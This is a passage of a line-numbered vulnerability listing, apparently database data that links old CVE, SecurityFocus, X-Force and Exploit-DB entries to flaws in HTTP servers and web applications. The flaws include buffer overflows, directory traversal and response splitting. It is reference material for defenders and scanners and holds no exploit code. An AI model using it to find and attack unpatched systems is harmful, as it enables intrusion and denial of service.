21271| [CVE-2000-0774] The sample Java servlet "test" in Bajie HTTP web server 0.30a reveals the real pathname of the web document root.
21272| [CVE-2000-0773] Bajie HTTP web server 0.30a allows remote attackers to read arbitrary files via a URL that contains a "....", a variant of the dot dot directory traversal attack.
21273| [CVE-2000-0766] Buffer overflow in vqSoft vqServer 1.4.49 allows remote attackers to cause a denial of service or possibly gain privileges via a long HTTP GET request.
21274| [CVE-2000-0740] Buffer overflow in strong.exe program in NAI Net Tools PKI server 1.0 before HotFix 3 allows remote attackers to execute arbitrary commands via a long URL in the HTTPS port.
21275| [CVE-2000-0739] Directory traversal vulnerability in strong.exe program in NAI Net Tools PKI server 1.0 before HotFix 3 allows remote attackers to read arbitrary files via a .. (dot dot) attack in an HTTPS request to the enrollment server.
21276| [CVE-2000-0732] Worm HTTP server allows remote attackers to cause a denial of service via a long URL.
21277| [CVE-2000-0731] Directory traversal vulnerability in Worm HTTP server allows remote attackers to read arbitrary files via a .. (dot dot) attack.
21278| [CVE-2000-0720] news.cgi in GWScripts News Publisher does not properly authenticate requests to add an author to the author index, which allows remote attackers to add new authors by directly posting an HTTP request to the new.cgi program with an addAuthor parameter, and setting the Referer to the news.cgi program.
21279| [CVE-2000-0716] WorldClient email client in MDaemon 2.8 includes the session ID in the referer field of an HTTP request when the user clicks on a URL, which allows the visited web site to hijcak the session ID and read the user's email.
21280| [CVE-2000-0697] The administration interface for the dwhttpd web server in Solaris AnswerBook2 allows interface users to remotely execute commands via shell metacharacters.
21281| [CVE-2000-0696] The administration interface for the dwhttpd web server in Solaris AnswerBook2 does not properly authenticate requests to its supporting CGI scripts, which allows remote attackers to add user accounts to the interface by directly calling the admin CGI script.
21282| [CVE-2000-0676] Netscape Communicator and Navigator 4.04 through 4.74 allows remote attackers to read arbitrary files by using a Java applet to open a connection to a URL using the "file", "http", "https", and "ftp" protocols, as demonstrated by Brown Orifice.
21283| [CVE-2000-0649] IIS 4.0 allows remote attackers to obtain the internal IP address of the server via an HTTP 1.0 request for a web page which is protected by basic authentication and has no realm defined.
21284| [CVE-2000-0643] Buffer overflow in WebActive HTTP Server 1.00 allows remote attackers to cause a denial of service via a long URL.
21285| [CVE-2000-0642] The default configuration of WebActive HTTP Server 1.00 stores the web access log active.log in the document root, which allows remote attackers to view the logs by directly requesting the page.
21286| [CVE-2000-0593] WinProxy 2.0 and 2.0.1 allows remote attackers to cause a denial of service by sending an HTTP GET request without listing an HTTP version number.
21287| [CVE-2000-0571] LocalWEB HTTP server 1.2.0 allows remote attackers to cause a denial of service via a long GET request.
21288| [CVE-2000-0563] The URLConnection function in MacOS Runtime Java (MRJ) 2.1 and earlier and the Microsoft virtual machine (VM) for MacOS allows a malicious web site operator to connect to arbitrary hosts using a HTTP redirection, in violation of the Java security model.
21289| [CVE-2000-0561] Buffer overflow in WebBBS 1.15 allows remote attackers to execute arbitrary commands via a long HTTP GET request.
21290| [CVE-2000-0539] Servlet examples in Allaire JRun 2.3.x allow remote attackers to obtain sensitive information, e.g. listing HttpSession ID's via the SessionServlet servlet.
21291| [CVE-2000-0529] Net Tools PKI Server allows remote attackers to cause a denial of service via a long HTTP request.
21292| [CVE-2000-0521] Savant web server allows remote attackers to read source code of CGI scripts via a GET request that does not include the HTTP version number.
21293| [CVE-2000-0505] The Apache 1.3.x HTTP server for Windows platforms allows remote attackers to list directory contents by requesting a URL containing a large number of / characters.
21294| [CVE-2000-0484] Buffer overflow in Small HTTP Server allows remote attackers to cause a denial of service via a long GET request.
21295| [CVE-2000-0470] Allegro RomPager HTTP server allows remote attackers to cause a denial of service via a malformed authentication request.
21296| [CVE-2000-0417] The HTTP administration interface to the Cayman 3220-H DSL router allows remote attackers to cause a denial of service via a long username or password.
21297| [CVE-2000-0398] Buffer overflow in wconsole.dll in Rockliffe MailSite Management Agent allows remote attackers to execute arbitrary commands via a long query_string parameter in the HTTP GET request.
21298| [CVE-2000-0395] Buffer overflow in CProxy 3.3 allows remote users to cause a denial of service via a long HTTP request.
21299| [CVE-2000-0380] The IOS HTTP service in Cisco routers and switches running IOS 11.1 through 12.1 allows remote attackers to cause a denial of service by requesting a URL that contains a %% string.
21300| [CVE-2000-0376] Buffer overflow in the HTTP proxy server for the i-drive Filo software allows remote attackers to execute arbitrary commands via a long HTTP GET request.
21301| [CVE-2000-0359] Buffer overflow in Trivial HTTP (THTTPd) allows remote attackers to cause a denial of service or execute arbitrary commands via a long If-Modified-Since header.
21302| [CVE-2000-0299] Buffer overflow in WebObjects.exe in the WebObjects Developer 4.5 package allows remote attackers to cause a denial of service via an HTTP request with long headers such as Accept.
21303| [CVE-2000-0290] Buffer overflow in Webstar HTTP server allows remote attackers to cause a denial of service via a long GET request.
21304| [CVE-2000-0249] The AIX Fast Response Cache Accelerator (FRCA) allows local users to modify arbitrary files via the configuration capability in the frcactrl program.
21305| [CVE-2000-0243] AnalogX SimpleServer:WWW HTTP server 1.03 allows remote attackers to cause a denial of service via a short GET request to cgi-bin.
21306| [CVE-2000-0189] ColdFusion Server 4.x allows remote attackers to determine the real pathname of the server via an HTTP request to the application.cfm or onrequestend.cfm files.
21307| [CVE-2000-0079] The W3C CERN httpd HTTP server allows remote attackers to determine the real pathnames of some commands via a request for a nonexistent URL.
21308| [CVE-2000-0064] cgiproc CGI script in Nortel Contivity HTTP server allows remote attackers to cause a denial of service via a malformed URL that includes shell metacharacters.
21309| [CVE-2000-0063] cgiproc CGI script in Nortel Contivity HTTP server allows remote attackers to read arbitrary files by specifying the filename in a parameter to the script.
21310| [CVE-2000-0043] Buffer overflow in CamShot WebCam HTTP server allows remote attackers to execute commands via a long GET request.
21311| [CVE-2000-0023] Buffer overflow in Lotus Domino HTTP server allows remote attackers to cause a denial of service via a long URL.
21312| [CVE-2000-0022] Lotus Domino HTTP server does not properly disable anonymous access for the cgi-bin directory.
21313| [CVE-2000-0021] Lotus Domino HTTP server allows remote attackers to determine the real path of the server via a request to a non-existent script in /cgi-bin.
21314| [CVE-2000-0011] Buffer overflow in AnalogX SimpleServer:WWW HTTP server allows remote attackers to execute commands via a long GET request.
21315| [CVE-1999-1547] Oracle Web Listener 2.1 allows remote attackers to bypass access restrictions by replacing a character in the URL with its HTTP-encoded (hex) equivalent.
21316| [CVE-1999-1537] IIS 3.x and 4.x does not distinguish between pages requiring encryption and those that do not, which allows remote attackers to cause a denial of service (resource exhaustion) via SSL requests to the HTTPS port for normally unencrypted files, which will cause IIS to perform extra work to send the files over SSL.
21317| [CVE-1999-1535] Buffer overflow in AspUpload.dll in Persits Software AspUpload before 1.4.0.2 allows remote attackers to cause a denial of service, and possibly execute arbitrary commands, via a long argument in the HTTP request.
21318| [CVE-1999-1533] Eicon Technology Diva LAN ISDN modem allows a remote attacker to cause a denial of service (hang) via a long password argument to the login.htm file in its HTTP service.
21319| [CVE-1999-1527] Internal HTTP server in Sun Netbeans Java IDE in Netbeans Developer 3.0 Beta and Forte Community Edition 1.0 Beta does not properly restrict access to IP addresses as specified in its configuration, which allows arbitrary remote attackers to access the server.
21320| [CVE-1999-1523] Buffer overflow in Sambar Web Server 4.2.1 allows remote attackers to cause a denial of service, and possibly execute arbitrary commands, via a long HTTP GET request.
21321| [CVE-1999-1469] Buffer overflow in w3-auth CGI program in miniSQL package allows remote attackers to execute arbitrary commands via an HTTP request with (1) a long URL, or (2) a long User-Agent MIME header.
21322| [CVE-1999-1457] Buffer overflow in thttpd HTTP server before 2.04-31 allows remote attackers to execute arbitrary commands via a long date string, which is not properly handled by the tdate_parse function.
21323| [CVE-1999-1456] thttpd HTTP server 2.03 and earlier allows remote attackers to read arbitrary files via a GET request with more than one leading / (slash) character in the filename.
21324| [CVE-1999-1417] Format string vulnerability in AnswerBook2 (AB2) web server dwhttpd 3.1a4 allows remote attackers to cause a denial of service and possibly execute arbitrary commands via encoded % characters in an HTTP request, which is improperly logged.
21325| [CVE-1999-1416] AnswerBook2 (AB2) web server dwhttpd 3.1a4 allows remote attackers to cause a denial of service (resource exhaustion) via an HTTP POST request with a large content-length.
21326| [CVE-1999-1412] A possible interaction between Apple MacOS X release 1.0 and Apache HTTP server allows remote attackers to cause a denial of service (crash) via a flood of HTTP GET requests to CGI programs, which generates a large number of processes.
21327| [CVE-1999-1374] perlshop.cgi shopping cart program stores sensitive customer information in directories and files that are under the web root, which allows remote attackers to obtain that information via an HTTP request.
21328| [CVE-1999-1343] HTTP server for Xerox DocuColor 4 LP allows remote attackers to cause a denial of service (hang) via a long URL that contains a large number of . characters.
21329| [CVE-1999-1283] Opera 3.2.1 allows remote attackers to cause a denial of service (application crash) via a URL that contains an extra / in the http:// tag.
21330| [CVE-1999-1264] WebRamp M3 router does not disable remote telnet or HTTP access to itself, even when access has been expliticly disabled.
21331| [CVE-1999-1207] Buffer overflow in web-admin tool in NetXRay 2.6 allows remote attackers to cause a denial of service, and possibly execute arbitrary commands, via a long HTTP request.
21332| [CVE-1999-1178] Sambar Server 4.1 beta allows remote attackers to obtain sensitive information about the server via an HTTP request for the dumpenv.pl script.
21333| [CVE-1999-1175] Web Cache Control Protocol (WCCP) in Cisco Cache Engine for Cisco IOS 11.2 and earlier does not use authentication, which allows remote attackers to redirect HTTP traffic to arbitrary hosts via WCCP packets to UDP port 2048.
21334| [CVE-1999-1124] HTTP Client application in ColdFusion allows remote attackers to bypass access restrictions for web pages on other ports by providing the target page to the mainframeset.cfm application, which requests the page from the server, making it look like the request is coming from the local host.
21335| [CVE-1999-1072] Excite for Web Servers (EWS) 1.1 allows local users to gain privileges by obtaining the encrypted password from the world-readable Architext.conf authentication file and replaying the encrypted password in an HTTP request to AT-generated.cgi or AT-admin.cgi.
21336| [CVE-1999-1068] Oracle Webserver 2.1, when serving PL/SQL stored procedures, allows remote attackers to cause a denial of service via a long HTTP GET request.
21337| [CVE-1999-1030] counter.exe 2.70 allows a remote attacker to cause a denial of service (hang) via an HTTP request that ends in %0A (newline), which causes a malformed entry in the counter log that produces an access violation.
21338| [CVE-1999-1009] The Disney Go Express Search allows remote attackers to access and modify search information for users by connecting to an HTTP server on the user's system.
21339| [CVE-1999-0970] The OmniHTTPD visadmin.exe program allows a remote attacker to conduct a denial of service via a malformed URL which causes a large number of temporary files to be created.
21340| [CVE-1999-0951] Buffer overflow in OmniHTTPd CGI program imagemap.exe allows remote attackers to execute commands.
21341| [CVE-1999-0947] AN-HTTPd provides example CGI scripts test.bat, input.bat, input2.bat, and envout.bat, which allow remote attackers to execute commands via shell metacharacters.
21342| [CVE-1999-0929] Novell NetWare with Novell-HTTP-Server or YAWN web servers allows remote attackers to conduct a denial of service via a large number of HTTP GET requests.
21343| [CVE-1999-0923] Sample runnable code snippets in ColdFusion Server 4.0 allow remote attackers to read files, conduct a denial of service, or use the server as a proxy for other HTTP calls.
21344| [CVE-1999-0867] Denial of service in IIS 4.0 via a flood of HTTP requests with malformed headers.
21345| [CVE-1999-0865] Buffer overflow in CommuniGatePro via a long string to the HTTP configuration port.
21346| [CVE-1999-0854] Ultimate Bulletin Board stores data files in the cgi-bin directory, allowing remote attackers to view the data if an error occurs when the HTTP server attempts to execute the file.
21347| [CVE-1999-0853] Buffer overflow in Netscape Enterprise Server and Netscape FastTrack Server allows remote attackers to gain privileges via the HTTP Basic Authentication procedure.
21348| [CVE-1999-0776] Alibaba HTTP server allows remote attackers to read files via a .. (dot dot) attack.
21349| [CVE-1999-0744] Buffer overflow in Netscape Enterprise Server and FastTrask Server allows remote attackers to gain privileges via a long HTTP GET request.
21350| [CVE-1999-0448] IIS 4.0 and Apache log HTTP request methods, regardless of how long they are, allowing a remote attacker to hide the URL they really request.
21351| [CVE-1999-0437] Remote attackers can perform a denial of service in WebRamp systems by sending a malicious string to the HTTP port.
21352| [CVE-1999-0415] The HTTP server in Cisco 7xx series routers 3.2 through 4.2 is enabled by default, which allows remote attackers to change the router's configuration.
21353| [CVE-1999-0378] InterScan VirusWall for Solaris doesn't scan files for viruses when a single HTTP request includes two GET commands.
21354| [CVE-1999-0267] Buffer overflow in NCSA HTTP daemon v1.3 allows remote command execution.
21355| [CVE-1999-0236] ScriptAlias directory in NCSA and Apache httpd allowed attackers to read CGI programs.
21356| [CVE-1999-0071] Apache httpd cookie buffer overflow for versions 1.1.1 and earlier.
21357|
21358| SecurityFocus - https://www.securityfocus.com/bid/:
21359| [58062] Drupal Varnish HTTP Accelerator Integration Module Cross Site Scripting Vulnerability
21360| [33712] Varnish HTTP Request Parsing Denial of Service Vulnerability
21361|
21362| IBM X-Force - https://exchange.xforce.ibmcloud.com:
21363| [82247] Varnish HTTP Accelerator Integration module for Drupal configuration settings cross-site scripting
21364| [6862] Squid HTTP Accelerator could allow unauthorized port scanning
21365|
21366| Exploit-DB - https://www.exploit-db.com:
21367| [31128] Multiple IEA Software Products HTTP POST Request Denial of Service Vulnerability
21368| [31082] Liferay Enterprise Portal 4.3.6 User-Agent HTTP Header Cross Site Scripting Vulnerability
21369| [31056] HFS HTTP File Server 1.5/2.x Multiple Security Vulnerabilities
21370| [31052] Apache <= 2.2.6 'mod_negotiation' HTML Injection and HTTP Response Splitting Vulnerability
21371| [31039] BitDefender Products Update Server HTTP Daemon Directory Traversal Vulnerability
21372| [30983] ExpressionEngine 1.2.1 HTTP Response Splitting and Cross Site Scripting Vulnerabilities
21373| [30901] Apache HTTP Server 2.2.6 Windows Share PHP File Extension Mapping Information Disclosure Vulnerability
21374| [30894] PeerCast 0.12 HandshakeHTTP Multiple Buffer Overflow Vulnerabilities
21375| [30850] HFS HTTP File Server 2.2/2.3 Arbitrary File Upload Vulnerability
21376| [30835] Apache HTTP Server <= 2.2.4 413 Error HTTP Request Method Cross-Site Scripting Weakness
21377| [30768] IBM WebSphere Application Server 5.1.1 WebContainer HTTP Request Header Security Weakness
21378| [30711] Shttp 0.0.x Remote Directory Traversal Vulnerability
21379| [30322] Lighttpd <= 1.4.15 Multiple Code Execution, Denial of Service and Information Disclosure Vulnerabilities
21380| [30278] SAP DB 7.x Web Server WAHTTP.EXE Multiple Buffer Overflow Vulnerabilities
21381| [30229] SHTTPD 1.38 Filename Parse Error Information Disclosure Vulnerability
21382| [30228] Apple WebCore XMLHTTPRequest Cross-Site Scripting Vulnerability
21383| [30218] BugHunter HTTP Server 1.6.2 Parse Error Information Disclosure Vulnerability
21384| [30130] PHP <= 5.2.3 EXT/Session HTTP Response Header Injection Vulnerability
21385| [29919] TP-Link TL-WR740N / TL-WR740ND - 150M Wireless Lite N Router HTTP DoS
21386| [29849] ToendaCMS 1.5.3 HTTP Get And Post Forms HTML Injection Vulnerability
21387| [29803] Static Http Server 1.0 - Denial of Service (DoS) Exploit
21388| [29739] Apache HTTP Server Tomcat 5.x/6.0.x Directory Traversal Vulnerability
21389| [29503] KarjaSoft Sami HTTP Server 1.0.4/1.0.5/2.0.1 Request Remote Denial of Service Vulnerability
21390| [29348] phpCMS 1.1.7 include/class.http_indexer_phpcms.php PHPCMS_INCLUDEPATH Parameter Remote File Inclusion
21391| [29301] Oracle Portal 9.0.2 Calendar.JSP Multiple HTTP Response Splitting Vulnerabilities
21392| [28845] Shop-Script Multiple HTTP Response Splitting Vulnerabilities
21393| [28837] Novell eDirectory 8.x iMonitor HTTPSTK Buffer Overflow Vulnerability (3)
21394| [28836] Novell eDirectory 8.x iMonitor HTTPSTK Buffer Overflow Vulnerability (2)
21395| [28835] Novell eDirectory 8.x iMonitor HTTPSTK Buffer Overflow Vulnerability (1)
21396| [28713] Apache Tomcat/JBoss EJBInvokerServlet / JMXInvokerServlet (RMI over HTTP) Marshalled Object RCE
21397| [28602] OSU HTTP Server 3.10/3.11 Multiple Information Disclosure Vulnerabilities
21398| [28595] BusyBox 1.01 HTTPD Directory Traversal Vulnerability
21399| [28568] NX5Linkx 1.0 Links.PHP HTTP Response Splitting Vulnerability
21400| [28424] Apache 2.x HTTP Server Arbitrary HTTP Request Headers Security Weakness
21401| [27863] PHPBB 2.0.20 Unauthorized HTTP Proxy Vulnerability
21402| [27852] Symantec Enterprise Firewall / Gateway Security HTTP Proxy Internal IP Leakage Weakness
21403| [27704] Cogent DataHub HTTP Server Buffer Overflow
21404| [27608] Ultra Mini HTTPD Stack Buffer Overflow
21405| [27553] onehttpd 0.7 - Denial of Service
21406| [27241] D-Link DWL-G700AP 2.00/2.01 HTTPD Denial of Service Vulnerability
21407| [27127] PMachine ExpressionEngine 1.4.1 HTTP Referrer HTML Injection Vulnerability
21408| [27115] Rockliffe MailSite 5.3.4/6.1.22/7.0.3 HTTP Mail Management Cross-Site Scripting Vulnerability
21409| [27026] Intel Graphics Accelerator Driver Remote Denial of Service Vulnerability
21410| [26984] IceWarp Universal WebMail /mail/include.html - Crafted HTTP_USER_AGENT Arbitrary File Access
21411| [26967] httprint 202.0 HTTP Response Server Field Overflow DoS
21412| [26966] httprint 202.0 HTTP Response Server Field Arbitrary Script Injection
21413| [26739] Ultra Mini HTTPD 1.21 - Stack Buffer Overflow
21414| [26691] WebCalendar 1.0.1 Layers_Toggle.PHP HTTP Response Splitting Vulnerability
21415| [26534] Revize CMS HTTPTranslatorServlet Cross-Site Scripting Vulnerability
21416| [26520] Static HTTP Server 1.0 - SEH Overflow
21417| [26467] PHP Handicapper Process_signup.PHP HTTP Response Splitting Vulnerability
21418| [26230] Microsoft IIS 5.1 WebDAV HTTP Request Source Code Disclosure Vulnerability
21419| [26198] Astaro Security Linux 6.0 01 HTTP CONNECT Unauthorized Access Weakness
21420| [26156] CPaint 1.3 xmlhttp Request Input Validation Vulnerability
21421| [25933] slimserve httpd 1.0/1.1 - Directory Traversal vulnerability
21422| [25907] ASPNuke 0.80 Language_Select.ASP HTTP Response Splitting Vulnerability
21423| [25842] JBoss 3.x/4.0.2 Malformed HTTP Request Remote Information Disclosure Vulnerability
21424| [25840] osCommerce 2.1/2.2 - Multiple HTTP Response Splitting Vulnerabilities
21425| [25837] Monkey HTTPD 1.1.1 - Crash PoC
21426| [25775] Nginx HTTP Server 1.3.9-1.4.0 Chuncked Encoding Stack Buffer Overflow
21427| [25631] Orenosv HTTP/FTP Server 0.8.1 CGISSI.EXE Remote Buffer Overflow Vulnerability
21428| [25629] Orenosv HTTP/FTP Server 0.8.1 FTP Commands Remote Buffer Overflow Vulnerability
21429| [25567] Just William's Amazon Webstore HTTP Response Splitting Vulnerability
21430| [25559] Oracle Application Server 9.0 HTTP Service Mod_Access Restriction Bypass Vulnerability
21431| [25534] SQWebmail 3.x/4.0 HTTP Response Splitting Vulnerability
21432| [25430] PHP-Nuke 7.6 Surveys Module HTTP Response Splitting Vulnerability
21433| [25418] MiniWeb MiniWeb HTTP Server (build 300) - Crash PoC
21434| [25365] AN HTTPD 1.42 Arbitrary Log Content Injection Vulnerability
21435| [25364] AN HTTPD CMDIS.DLL Remote Buffer Overflow Vulnerability
21436| [25258] Phorum 3.x/5.0.x HTTP Response Splitting Vulnerability
21437| [25083] RaidenHTTPD 1.1.27 Remote File Disclosure Vulnerability
21438| [25082] Linksys PSUS4 PrintServer Malformed HTTP POST Request Denial of Service
21439| [25066] WebWasher Classic 2.2/2.3 HTTP CONNECT Unauthorized Access
21440| [24999] Windows Light HTTPD 0.1 - Buffer Overflow
21441| [24980] Yanf 0.4 HTTP Response Buffer Overflow Vulnerability
21442| [24964] Oracle WebCenter Sites Satellite Server - HTTP Header Injection
21443| [24805] MySQL MaxDB 7.5 WAHTTP Server Remote Denial of Service Vulnerability
21444| [24760] ZyXEL 3 Prestige Router HTTP Remote Administration Configuration Reset Vulnerability
21445| [24736] PHPWebSite 0.7.3/0.8.x/0.9.3 User Module HTTP Response Splitting Vulnerability
21446| [24697] Serendipity 0.x Exit.PHP HTTP Response Splitting Vulnerability
21447| [24667] Wordpress 1.2 Wp-login.PHP HTTP Response Splitting Vulnerability
21448| [24665] DCP-Portal 3.7/4.x/5.x Calendar.PHP HTTP Response Splitting Vulnerability
21449| [24651] W-Agora 4.1.6 a subscribe_thread.php HTTP Response Splitting
21450| [24604] Snitz Forums 2000 Down.ASP HTTP Response Splitting Vulnerability
21451| [24598] SnipSnap 0.5.2 HTTP Response Splitting Vulnerability
21452| [24486] Google Chrome Silent HTTP Authentication
21453| [24422] Comersus Cart 5.0 HTTP Response Splitting Vulnerability
21454| [24402] Axis Network Camera 2.x And Video Server 1-3 HTTP Authentication Bypass
21455| [24350] acme thttpd 2.0.7 - Directory Traversal vulnerability
21456| [24147] Orenosv HTTP/FTP Server 0.5.9 HTTP GET Denial of Service Vulnerability (3)
21457| [24146] Orenosv HTTP/FTP Server 0.5.9 HTTP GET Denial of Service Vulnerability (2)
21458| [24145] Orenosv HTTP/FTP Server 0.5.9 HTTP GET Denial of Service Vulnerability (1)
21459| [24129] Omnicron OmniHTTPD 2.x/3.0 Get Request Buffer Overflow Vulnerability
21460| [24119] Microsoft Internet Explorer 5.0.1 http-equiv Meta Tag Denial of Service Vulnerability
21461| [24111] Serva 2.0.0 - HTTP Server GET Remote Denial of Service Vulnerability
21462| [24103] MailEnable Mail Server HTTPMail 1.x Remote Heap Overflow Vulnerability
21463| [24097] MyWeb HTTP Server 3.3 GET Request Buffer Overflow Vulnerability
21464| [24070] Rosiello Security Sphiro HTTPD 0.1 B Remote Heap Buffer Overflow Vulnerability
21465| [23896] MPlayer 0.9/1.0 - Remote HTTP Header Buffer Overflow Vulnerability
21466| [23871] Centrinity FirstClass HTTP Server 5/7 TargetName Parameter Cross-Site Scripting Vulnerability
21467| [23870] PHP-Nuke MS-Analysis Module HTTP Referrer Field SQL Injection Vulnerability
21468| [23837] IBM Lotus Domino 6.5.1 HTTP webadmin.nsf Quick Console Cross-Site Scripting Vulnerability
21469| [23836] IBM Lotus Domino 6/7 HTTP webadmin.nsf Directory Traversal Vulnerability
21470| [23819] Phorum 3.x login.php HTTP_REFERER XSS
21471| [23818] Phorum 3.x register.php HTTP_REFERER XSS
21472| [23758] gweb http server 0.5/0.6 - Directory Traversal vulnerability
21473| [23714] KarjaSoft Sami HTTP Server 1.0.4 GET Request Buffer Overflow Vulnerability
21474| [23686] Monkey HTTP Daemon 0.x Missing Host Field Denial of Service Vulnerability
21475| [23676] MaxWebPortal 1.3x down.asp HTTP_REFERER XSS
21476| [23665] Shaun2k2 Palmhttpd Server 3.0 - Remote Denial of Service Vulnerability
21477| [23614] Loom Software SurfNow 1.x/2.x Remote HTTP GET Request Denial of Service Vulnerability
21478| [23593] Oracle HTTP Server 8.1.7/9.0.1/9.2 isqlplus Cross-Site Scripting Vulnerability
21479| [23585] Finjan SurfinGate 6.0/7.0 FHTTP Restart Command Execution Vulnerability
21480| [23584] McAfee ePolicy Orchestrator 1.x/2.x/3.0 Agent HTTP POST Buffer Mismanagement Vulnerability
21481| [23582] Acme thttpd 1.9/2.0.x CGI Test Script Cross-Site Scripting Vulnerability
21482| [23564] Mephistoles HTTPD 0.6 Cross-Site Scripting Vulnerability
21483| [23480] Surfboard httpd 1.1.9 - Remote Buffer Overflow Vulnerability
21484| [23417] EZMeeting 3.x EZNet.EXE Long HTTP Request Remote Buffer Overflow Vulnerability
21485| [23397] Monit 1.4/2.x/3/4 Overly Long HTTP Request Buffer Overrun Vulnerability
21486| [23326] http commander 4.0 - Directory Traversal vulnerability
21487| [23325] BRS WebWeaver 1.06 httpd `User-Agent` Remote Denial of Service Vulnerability
21488| [23310] TelCondex SimpleWebserver 2.12.30210 build 3285 HTTP Referer Remote Buffer Overflow Vulnerability
21489| [23309] Centrinity FirstClass 7.1 HTTP Server Directory Disclosure Vulnerability
21490| [23306] thttpd 2.2x defang Remote Buffer Overflow Vulnerability (2)
21491| [23305] thttpd 2.2x defang Remote Buffer Overflow Vulnerability (1)
21492| [23295] SH-HTTPD 0.3/0.4 Character Filtering Remote Information Disclosure Vulnerability
21493| [23257] Bajie HTTP Server 0.95 Example Scripts And Servlets Cross-Site Scripting Vulnerability
21494| [23245] Apache Tomcat 4.0.x Non-HTTP Request Denial of Service Vulnerability
21495| [23234] Centrinity FirstClass 5.50/5.77/7.0/7.1 - HTTP Server Long Version Field Denial of Service Vulnerability
21496| [23188] Athttpd 0.4 b Remote GET Request Buffer Overrun Vulnerability
21497| [23181] NullLogic Null HTTPd 0.5 - Remote Denial of Service Vulnerability
21498| [23176] NullLogic Null HTTPd 0.5.1 Error Page Long HTTP Request Cross-Site Scripting Vulnerablity
21499| [23174] TCLHttpd 3.4.2 - Multiple Cross-Site Scripting Vulnerabilities
21500| [23173] TCLhttpd 3.4.2 Directory Listing Disclosure Vulnerability
21501| [23144] minihttp file-sharing for net 1.5 - Directory Traversal vulnerability
21502| [23142] WideChapter 3.0 HTTP Request Buffer Overflow Vulnerability
21503| [23137] CacheFlow CacheOS 4.1.10016 HTTP HOST Proxy Vulnerability
21504| [23121] Kukol E.V. HTTP & FTP Server Suite 6.2 File Disclosure Vulnerability
21505| [23050] Avant Browser 8.0.2 Long HTTP Request Buffer Overflow Vulnerability
21506| [23037] DWebPro 3.4.1 Http.ini Plaintext Password Storage Vulnerability
21507| [22962] Cisco Aironet AP1x00 Malformed HTTP GET Denial of Service Vulnerability
21508| [22909] NetSuite 1.0/1.2 HTTP Server Directory Traversal Vulnerability
21509| [22902] lighttpd 1.4.31 Denial of Service PoC
21510| [22892] Mabry Software HTTPServer/X 1.0 0.047 File Disclosure Vulnerability
21511| [22876] Canon GP300 Remote Malformed HTTP Get Denial of Service Vulnerability
21512| [22795] MiniHTTPServer WebForums Server 1.x/2.0 - Remote Directory Traversal Vulnerability
21513| [22786] Dune 0.6.7 HTTP Get Remote Buffer Overrun Vulnerability
21514| [22785] MyServer 0.4.1/0.4.2 HTTP Server Directory Traversal Vulnerability
21515| [22784] Microsoft Internet Explorer 5 Custom HTTP Error HTML Injection Vulnerability
21516| [22749] Novell Netware 6.0,eDirectory 8.7 HTTPSTK.NLM Remote Abend Vulnerability
21517| [22723] MegaBrowser 0.3 HTTP Directory Traversal File Disclosure Vulnerability
21518| [22701] MyServer 0.5 HTTP GET Argument Buffer Overflow Vulnerability
21519| [22700] MyServer 0.4.3 HTTP GET Argument Buffer Overflow Vulnerability
21520| [22626] Axis Network Camera 2.x HTTP Authentication Bypass Vulnerability
21521| [22610] Snowblind Web Server 1.0/1.1 HTTP GET Request Buffer Overflow Vulnerability
21522| [22608] Snowblind Web Server 1.0/1.1 Malformed HTTP Request Denial of Service Vulnerability
21523| [22556] MDG Web Server 4D 3.6 HTTP Command Buffer Overflow Vulnerability
21524| [22553] Microsoft BizTalk Server 2002 HTTP Receiver Buffer Overflow Vulnerability
21525| [22515] AN HTTPD 1.x Count.pl Directory Traversal Vulnerability
21526| [22460] Abyss Web Server 1.1.2 Incomplete HTTP Request Denial of Service Vulnerability
21527| [22433] Monkey HTTP Daemon 0.4/0.5/0.6 Excessive POST Data Buffer Overflow Vulnerability
21528| [22296] Axis Communications HTTP Server 2.x Messages Information Disclosure Vulnerability
21529| [22230] Netscape Enterprise Server 4.1 HTTP Method Name Buffer Overflow Vulnerability
21530| [22207] 3ware Disk Managment 1.10 Malformed HTTP Request DoS Vulnerability
21531| [22130] AN HTTPD 1.41 e Cross Site Scripting Vulnerability
21532| [22117] iCal 3.7 Malformed HTTP Request Denial of Service Vulnerability
21533| [22106] CUPS 1.1.x Negative Length HTTP Header Vulnerability
21534| [22064] zeroo http server 1.5 - Directory Traversal vulnerability (2)
21535| [22063] zeroo http server 1.5 - Directory Traversal vulnerability (1)
21536| [22059] Pserv 2.0 HTTP Request Parsing Buffer Overflow
21537| [22058] Pserv 2.0 User-Agent HTTP Header Buffer Overflow Vulnerability (2)
21538| [22057] Pserv 2.0 User-Agent HTTP Header Buffer Overflow Vulnerability (1)
21539| [22056] Pserv 2.0 - HTTP Version Specifier Buffer Overflow Vulnerability
21540| [22046] Null HTTPD 0.5 - Remote Heap Corruption Vulnerability
21541| [22021] Lonerunner Zeroo HTTP Server 1.5 - Remote Buffer Overflow Vulnerability
21542| [22016] LibHTTPD 1.2 POST Buffer Overflow Vulnerability
21543| [22013] Light HTTPD 0.1 GET Request Buffer Overflow Vulnerability (2)
21544| [22012] Light HTTPD 0.1 GET Request Buffer Overflow Vulnerability (1)
21545| [22009] EZ Systems HTTPBench 1.1 Information Disclosure Vulnerability
21546| [21981] Monkey HTTP Server 0.4/0.5 Invalid POST Request Denial of Service Vulnerability
21547| [21978] Linksys WAP11 1.3/1.4,D-Link DI-804 4.68/Dl-704 2.56 b5 Embedded HTTP Server DoS Vulnerability
21548| [21955] AN HTTPD 1.38/1.39/1.40/1.41 Malformed SOCKS4 Request Buffer Overflow Vulnerability
21549| [21948] IBM Websphere Edge Server 3.69/4.0 HTTP Header Injection Vulnerability
21550| [21944] Cisco CatOS 5.x/6.1/7.3/7.4 CiscoView HTTP Server Buffer Overflow Vulnerability
21551| [21937] ghttpd 1.4.x Log() Function Buffer Overflow Vulnerability
21552| [21936] ATP httpd 0.4 Single Byte Buffer Overflow Vulnerability
21553| [21880] Monkey HTTP Server 0.1/0.4/0.5 - Multiple Cross Site Scripting Vulnerabilities
21554| [21857] Monkey HTTP Server 0.1.4 File Disclosure Vulnerability
21555| [21818] Null HTTPd 0.5 - Remote Heap Overflow Vulnerability
21556| [21767] NullLogic Null HTTPd 0.5 Error Page Cross-Site Scripting Vulnerability
21557| [21757] OmniHTTPD 1.1/2.0.x/2.4 Sample Application URL Encoded Newline HTML Injection
21558| [21754] OmniHTTPd 1.1/2.0.x/2.4 test.shtml Sample Application XSS
21559| [21753] OmniHTTPd 1.1/2.0.x/2.4 test.php Sample Application XSS
21560| [21731] Novell NetWare 5.1/6.0 HTTP Post Arbitrary Perl Code Execution Vulnerability
21561| [21710] MyWebServer 1.0.2 Long HTTP Request HTML Injection Vulnerability
